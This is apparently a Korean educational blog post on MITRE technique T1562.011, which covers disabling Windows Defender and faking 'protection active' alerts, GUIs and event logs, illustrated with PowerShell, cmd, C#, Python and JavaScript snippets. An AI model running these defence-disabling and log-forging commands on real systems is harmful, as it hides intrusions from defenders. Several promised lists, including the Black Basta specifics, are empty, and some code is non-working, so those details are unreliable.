가짜 보안 알림 스푸핑: BlackBasta가 EDR 12종을 속이는 방법 | T1562.011
Black Basta 랜섬웨어는 EDR에 가짜 정상 알림을 보내 탐지를 우회했다. 12개 EDR 제품이 속은 알림 스푸핑 기법의 원리.
MITRE ATT&CK 프레임워크에는 2023년 3월 기준 14개 전술과 193개 기법이 정의되어 있다. 그중 T1562.011 Spoof Security Alerting은 공격자가 보안 도구의 알림을 조작하여 방어자를 속이는 기법으로, Black Basta 랜섬웨어 그룹이 EDR 우회에 적극 활용하면서 주목받았다.
보안 관제센터에서 근무하는 분석가를 상상해보세요. 화면에는 수백 개의 보안 알림이 표시되고, Windows Defender는 "정상 작동 중"이라고 표시된다. 하지만 실제로는 공격자가 이미 모든 보안 도구를 무력화한 상태에서 가짜 알림을 생성하고 있었다면? 이것이 바로 T1562.011의 핵심이다.
전통적인 방어 우회는 보안 도구를 단순히 끄거나 차단하는 데 그쳤다. 하지만 이런 방식은 보안 담당자가 도구의 중단을 즉시 인지할 수 있다는 한계가 있었다. T1562.011은 이 문제를 해결하기 위해 "보안 도구가 정상 작동한다"는 거짓 신호를 능동적으로 생성하는 방식으로 진화했다.
T1562.011 Spoof Security Alerting은 공격자가 보안 도구에서 생성되는 알림을 위조하여 방어자에게 거짓 정보를 제공하는 기법이다.
Adversaries may spoof security alerting from tools to hide malicious activity. Security reporting messages may be used to monitor system health and activity, and may include information about potential security events, software status, and system configurations. — MITRE ATT&CK T1562.011
이 정의를 풀어보면, 공격자는 방어 도구가 생성하는 보안 메시지를 조작하여 악성 활동을 은폐하고, 시스템이 정상적으로 보호받고 있다는 착각을 불러일으킵니다.
| 용어 | 설명 |
|---|---|
| Indicator Blocking (T1562.006) | 목적: IoC 차단 / 방식: 탐지 지표를 블랙리스트에 추가 / 탐지 난이도: 중간 |
| Disable Tools (T1562.001) | 목적: 보안 도구 무력화 / 방식: 프로세스 종료, 서비스 중단 / 탐지 난이도: 낮음 |
| Spoof Alerting (T1562.011) | 목적: 거짓 상태 표시 / 방식: 가짜 알림 생성, GUI 조작 / 탐지 난이도: 높음 |
| Log Tampering (T1562.002) | 목적: 증거 인멸 / 방식: 로그 삭제, 수정 / 탐지 난이도: 중간 |
T1562.011의 동작 과정은 크게 3단계로 나뉩니다: 보안 도구 분석, 실제 도구 무력화, 가짜 상태 생성이다.
공격자는 먼저 대상 시스템의 보안 구성을 철저히 분석한다.
# 설치된 보안 제품 식별
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct
Get-Service | Where-Object {$_.DisplayName -match "Defender|Antivirus|EDR"}
# GUI 프로세스 확인
Get-Process | Where-Object {$_.ProcessName -match "MSASCuiL|SecurityHealthSystray"}
이 과정에서 공격자는 다음 정보를 수집한다:
분석이 완료되면 공격자는 실제 보안 도구를 무력화한다. 하지만 일반적인 프로세스 종료와 달리, 사용자가 인지하지 못하도록 조심스럽게 접근한다.
:: Windows Defender 실시간 보호 비활성화
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
:: 서비스 중단 (조용히)
sc stop WinDefend
sc config WinDefend start= disabled
가장 핵심적인 단계이다. 공격자는 보안 도구가 정상 작동하는 것처럼 보이게 하는 가짜 인터페이스를 생성한다.
GUI 스푸핑 기법
// C# 예시: 가짜 Windows Security 창 생성
public class FakeSecurityGUI : Form
{
public FakeSecurityGUI()
{
// 원본 Windows Security와 동일한 외관 구성
this.Text = "Windows Security";
this.Icon = SystemIcons.Shield;
this.Size = new Size(800, 600);
// "실시간 보호: 켜짐" 상태 표시
Label statusLabel = new Label();
statusLabel.Text = "실시간 보호: 켜짐";
statusLabel.ForeColor = Color.Green;
this.Controls.Add(statusLabel);
// 시스템 트레이 아이콘도 정상으로 표시
ShowTrayIcon();
}
}
시스템 트레이 조작
# Python 예시: 가짜 보안 상태 트레이 아이콘
import pystray
from PIL import Image
def create_fake_tray():
# 정상 상태를 나타내는 녹색 방패 아이콘
image = Image.open("shield_green.ico")
menu = pystray.Menu(
pystray.MenuItem("보안 상태: 정상", lambda: None),
pystray.MenuItem("실시간 보호: 활성화됨", lambda: None)
)
icon = pystray.Icon("WindowsDefender", image, menu=menu)
icon.run()
공격자는 방어자가 의심하지 않도록 지속적으로 정상 상태를 시뮬레이션한다.
# 주기적으로 "정상" 로그 생성
while ($true) {
Write-EventLog -LogName "System" -Source "Windows Defender" `
-EventId 1000 -EntryType Information `
-Message "실시간 보호가 정상적으로 작동 중입니다."
Start-Sleep -Seconds 300 # 5분마다 실행
}
이 과정은 연극 무대와 같다. 실제 배우(보안 도구)는 무대 뒤에서 묶여 있지만, 관객(방어자)에게는 정교한 연기를 보여주는 대역 배우(가짜 GUI)가 무대에서 열연하고 있는 것이다.
Black Basta 랜섬웨어 그룹이 사용한 구체적인 스푸핑 기법이 공개되었다.
Black Basta는 다음과 같은 방식으로 EDR 제품을 우회했다:
공격자 입장에서 T1562.011은 매우 매력적인 기법이다. 기존의 "보안 도구 끄기" 방식과 달리, 방어자가 전혀 의심하지 않는 상황을 만들어낼 수 있기 때문이다.
보안 담당자들은 매일 수백 개의 알림을 처리한다. 이런 환경에서 "보안 상태: 정상"이라는 메시지는 안심을 주는 신호이다. 공격자는 바로 이 심리를 악용한다.
// 공격자가 사용하는 가짜 알림 생성 스크립트
function generateFakeAlert() {
const alerts = [
"실시간 보호가 시스템을 성공적으로 보호했습니다.",
"악성 프로그램 검사 완료: 위협 없음",
"방화벽 상태: 모든 연결이 안전합니다."
];
// 랜덤하게 가짜 알림 표시
const randomAlert = alerts[Math.floor(Math.random() * alerts.length)];
showNotification(randomAlert, "success");
}
// 10분마다 가짜 알림 생성
setInterval(generateFakeAlert, 600000);
공격자들은 다음과 같은 정교한 전략을 사용한다:
1. 타이밍 조작
# 정상 업무 시간에만 가짜 알림 생성 (의심 방지)
$currentHour = (Get-Date).Hour
if ($currentHour -ge 9 -and $currentHour -le 18) {
Generate-FakeSecurityAlert
}
2. 행동 패턴 모방 실제 보안 도구의 알림 패턴을 학습하여 동일하게 재현한다.
# 실제 Windows Defender 알림 패턴 분석
import re
import time
def analyze_real_patterns():
# 기존 로그에서 알림 패턴 추출
log_patterns = [
r"Windows Defender.*검사 완료",
r"실시간 보호.*활성화",
r"위협.*차단됨"
]
# 동일한 패턴으로 가짜 알림 생성
for pattern in log_patterns:
create_spoofed_alert(pattern)
time.sleep(random.randint(300, 1800)) # 5-30분 간격
다음은 APT 그룹이 T1562.011을 활용한 실제 공격 시나리오이다:
시나리오: 금융기관 타겟 공격
이 시나리오에서 공격자는 3일 동안 탐지되지 않고 핵심 데이터를 탈취했다.
1. GUI 프로세스 대체
:: 원본 보안 GUI 프로세스 종료
taskkill /F /IM "SecurityHealthSystray.exe"
:: 가짜 GUI 실행 (동일한 이름과 아이콘 사용)
start "" "C:\Temp\FakeSecurityHealthSystray.exe"
2. 레지스트리 조작
# Windows Security Center 상태 조작
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" `
-Name "AntiVirusOverride" -Value 0
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" `
-Name "FirewallOverride" -Value 0
3. WMI 이벤트 위조
# 가짜 보안 이벤트 생성
$fakeEvent = ([wmiclass]"\\.\root\cimv2:Win32_NTLogEvent").CreateInstance()
$fakeEvent.LogFile = "System"
$fakeEvent.SourceName = "Windows Defender"
$fakeEvent.Type = "Information"
$fakeEvent.Message = "실시간 보호가 활성화되었습니다."
$fakeEvent.Put()
T1562.011을 방어하기 위해서는 다음 사항들을 체크해야 한다:
# 방어 스크립트 예시: 실제 상태 검증
function Verify-SecurityStatus {
$processes = Get-Process | Where-Object {$_.Name -match "MsMpEng|NisSrv"}
$services = Get-Service | Where-Object {$_.Name -match "WinDefend|WdNisSvc"}
if ($processes.Count -eq 0 -or $services.Count -eq 0) {
Write-Warning "보안 도구 스푸핑 의심됨!"
Send-Alert "T1562.011 탐지 가능성"
}
}
T1562.011 Spoof Security Alerting은 단순한 보안 도구 무력화를 넘어서, 방어자의 인식 자체를 조작하는 고도화된 공격 기법이다. Black Basta를 비롯한 여러 APT 그룹이 이 기법을 통해 장기간 탐지를 회피하고 있으며, 기존의 EDR 우회 공격 12가지 방법과 결합될 때 그 위험성이 더욱 커집니다.
이 기법은 보안 무력화 공격의 진화된 형태로, 단순한 기술적 우회가 아닌 인간의 심리를 겨냥한 사회공학적 요소까지 포함하고 있다. 앞으로는 AI 기반 알림 생성과 딥페이크 기술을 활용한 더욱 정교한 스푸핑 공격이 등장할 것으로 예상된다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.